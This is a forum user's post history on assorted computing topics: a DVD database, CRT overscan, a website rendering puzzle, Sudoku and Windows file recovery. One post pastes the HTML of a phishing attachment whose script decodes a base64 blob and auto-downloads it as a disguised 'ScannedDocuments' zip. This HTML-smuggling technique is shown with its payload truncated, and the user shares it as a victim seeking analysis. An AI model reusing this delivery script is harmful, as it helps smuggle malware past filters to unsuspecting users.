These days I'm more into photography and video making than programming, so I go with what is available, free (to me), and known. My version of Delphi is a bit long in the tooth, so it doesn't support newer databases. But next time I'm in the mood, I'll give it a shot. I never did finish the Python course I got!
UnabashedGeek 15 Newbie Poster
Nice work! I wish I'd known about the IMDB API. I wrote a database application to keep track of my movie DVDs and one of the fields is runtime, so I can search for a video which I rated well, haven't seen in a few years, and has a runtime less than the time available before bedtime. Entering the runtimes manually involved a manual search with a magnifying glass to read the text on the DVD cover! Some time into the development I added a button in my app which invokes a browser window and a google search for "movie" plus the movie title for the current database item. Better, but not as direct as a link into IMDB. (I used Delphi with an Access database.)
Reverend Jim commented: Access? Aaaccckkk! Try sqlite3. +15
UnabashedGeek 15 Newbie Poster
I certainly don't know, but I wonder if the origin of this is something to do with the over-scan technology on cathode ray tubes (CRTs) where you can never be sure exactly which parts of the tube would be visible on a specific monitor. The 7 pixels may have originally been a safety margin, and the coordinate system was a way to simplify accommodating this, which is now baked into today's interface.
UnabashedGeek 15 Newbie Poster
Robert. Thank you. I'm not sure that it did anything. That's why I was asking for help in interpreting the javascript. I don't expect anyone to interpret the 600K file, which is probably an executable anyway, but I'd love to know if the javascript actually tried to "execute" the file it appears to be creating or if it just was hoping I would unzip it. I never saw anything besides the "Download completed" message. I never saw any sign of a zip file being unzipped. (I disconnected my PC from my network almost immediately and after a few days bit the bullet and restored my entire system from a backup prior to the incident. Possibly a bit over the top, but it let me get on with life.) My question here was intended to remove any last doubts.
Do you think the javascript would have actuated the malicious code, or just created it?
UnabashedGeek 15 Newbie Poster
OK, it looks like it doesn't like my attachment, even though it was a .txt file. The message that says it's not happy with the file only appears when I hover, and I thought the big "X" over my attachment was in case I wanted to delete it. Sorry. Here it is as an in-line block.
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Document download</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<div>
<h1>Download completed</h1>
<p>The document was successfully downloaded.</p>
</div>
<script type="text/javascript">
var text = "UEsDBBQAAgAIAF2GyFQJ3tgE/mMHAAAAIAAcAH0AU2Nhbm5lZERvY3VtZW50c185NzIwNDgxLmltZ1NEaACsAAAAAAgAr2fodWNkYGkRYWBgMGCAAB8gZmQFM1lFgURJc2zB6aOeMt9j77K+ZMYtx8jEwMDEkMDAApIVkGD4zyjPABIDqVUAEgogtoAIRJwRIi4EVbuSQQhFrSJU7X5GYbhabiABAFVUDQAHQamgYj+qoGJBqaBi7NsLfBTlvfDx2d1JsoTFBLkLyKoLCrFKiMoloAsJEShiJOEO2mjCnYST7AKtIIlLTpmMUezFeo62r1TxaFt9qW1PqfXUkOVqUSlaiKZeCtVOXC95BSEQJO//mZ0NAeqxrb14jr8vn+wzO5dnnueZZ57/M7OqaQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQBs3fuzQTBftAADAF8mUgqlDhxH/AQD4Qink+R8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgE/j0txauXx++fxml7/ 645469 bytes deleted/ UEsBAh4AFAACAAgAXYbIVAne2AT+YwcAAAAgABwAEQAAAAAAAAAgAAAAAAAAAFNjYW5uZWREb2N1bWVudHNfOTcyMDQ4MS5pbWdTRAQArAAAAFVUBQAHQamgYlBLBQYAAAAAAQABAFsAAAC1ZAcAAAA=";
function b64toBlob (b64Data, contentType, sliceSize) {
var byteArrays = [];
var byteCharacters = atob(b64Data);
for (var offset = 0; offset < byteCharacters.length; offset += sliceSize) {
var slice = byteCharacters.slice(offset, offset + sliceSize);
var byteNumbers = new Array(slice.length);
for (var i = 0; i < slice.length; i++) {
byteNumbers[i] = slice.charCodeAt(i);
}
var byteArray = new Uint8Array(byteNumbers);
byteArrays.push(byteArray);
}
var blob = new Blob(byteArrays, {type: contentType});
return blob;
}
var blob = b64toBlob(text,'application/zip', 512);
if (window.navigator.msSaveOrOpenBlob) {
window.navigator.msSaveOrOpenBlob(blob, "ScannedDocuments_9720481.zip");
} else {
var url = URL.createObjectURL(blob);
var a = document.createElement("a");
a.href = url;
a.download = "ScannedDocuments_9720481.zip";
document.body.appendChild(a);
a.click();
setTimeout(function() {
document.body.removeChild(a);
window.URL.revokeObjectURL(url);
},0);
}
</script>
</body>
</html>
Also I tried the hybrid analysis site, and if I understood the results correctly, it said it was malicious, but didn't say what it would do, what actions I might have observed, which is what I'm primarily concerned with. For instance, if it tried to open a zip file, the default for me …
UnabashedGeek 15 Newbie Poster
Stupidly, I clicked on an email attachment with an htlm extension to see what the scam was. I think I was expecting it to open in a text editor, but it ran. (Dumb, dumb, dumb!) Anyway, I've paid my dues by restoring over a terabyte of backup onto two disks. My question is, can someone far more expert than I am in javascript interpret what the embedded script does, in general terms. (Not what the embedded malware does.) Before anyone panics, I've cut some 600,000 characters out of the text variable so it isn't a danger. (I've also changed the extension from html to txt.)
I think the text var in the script is a representation of the contents of a zip file, and the script changes the text to an actual file and saves it. I'm bit unclear whether the script also tries to run the zipped file. I'd like to remove any lingering doubts as to anything bad that might have happened before I unplugged the ethernet cable. I never saw any evidence of a file being unzipped, or indeed of the zip file itself.
Any information on what the script was doing would be most welcome. Thanks!
UnabashedGeek 15 Newbie Poster
After reading John-111's suggestions, I'm wondering if timing is critical. It fails on an i9 and works on an i7. One time I THINK I remember it partially failing on the i7, but then I couldn't make it fail following.
As I mentioned to John, the code is messy, unclosed tags, tags closed in the wrong order. There are multiple issues on the console log. It is not written to pass any standards test! However, my skills are not up to a full analysis.
UnabashedGeek 15 Newbie Poster
Who's up for a puzzle? About two months ago, I began to have troubles using the Town of Oakville's web site where I book fitness class spots. In places where there should be text, it's blank. My feeling is that this began intermittently, but I may be wrong. Today it happens all the time. When I go into developer mode, I can see text in the html but the screen is blank. It's like the text is the same colour as the background, but I can't find any styling that causes this. This happens on Chrome, IE, Edge and Firefox (the latter newly installed). On my previous PC, in the same room, on the same network, it looks fine. Also fine on my phone and tablet. No other site I've been on has any problem. The only differences I can think of is my current PC came with McAfee, my old one is still running Norton 360, and I have different monitors on my new PC (but it used to work on these monitors). Both Windows 10.
Screenshot attached showing Edge, IE, Firefox and Chrome renderings.
The site is https://www.oakville.ca/index.html
I just can't think of anything that could cause this on multiple browsers. Any takers?
I know this isn't a web development issue, but it seemed the closest, please move if appropriate.
UnabashedGeek 15 Newbie Poster
Just came across this post. My wife (ex-IT type as well) is a Sudoku fanatic, and I always used to tell her I'd prefer to beat my brains out writing a program to solve the puzzles than slogging through the mechanics of traditional "pencilling" methods. I also found my eyesight wasn't up to seeing the patterns with all the distractions of poorly written numbers and indistinct crossings-out. (Old eyes - I graduated with my Computerscience degree in 1970.) Anyway, I never got around to writing a program for Sudoku, but I did develop a method and skills to solve ordinary puzzles (not the diabolical ones) without writing any numbers except the final ones. (I call this "Naked Sudoku" - mostly to encourage clicks on the post I wrote!) Not writing any small numbers keeps the view clean, and provides extra mental exercise - not as much as writing a program, but I had my fill of that kind of frustration, learning to write my own wordpress theme. Everything is so abstracted these days, with tools, code generators and helpers piled on top of precompilers and compilers. And then Jetpack and Wordpress interpret your intentions and Google Adsense changes content on the fly and you have to consider varying screen sizes. But that's progress. I think.
Congratulations on navigating a new tool your post. Enjoy your retirement, I do.
UnabashedGeek 15 Newbie Poster
I don't remember having any problems putting Chrome on Win 8.1. I do hate the "apps" though, they take over an entire screen and can't be minimised or resized (except to a half screen option). They just don't "play nice" with desktop windows. Solution: don't use them.
@MsLeannInnocent-excuse me if this is way too obvious, but have you tried just dragging the edge of your chrome window to the size you want? The OP was not talking about a size issue per se, he was lamenting the absence of the resize buttons in the app version. If you now have a true Window, then the normal window protocols apply.
UnabashedGeek 15 Newbie Poster
Tomorrow I have to recover some information for someone on a non-working computer running windows 7. I can't get to safe mode, get it to boot normally or do a working startup repair, but I can get to the command prompt using a program I have. How would I use to command prompt to copy out all the files in the C:\ drive into one of my externals? So I can clean install 7 again. Please help or link me to some reading.
The command you probably want is XCOPY. I am presuming that this is still available in Windows 7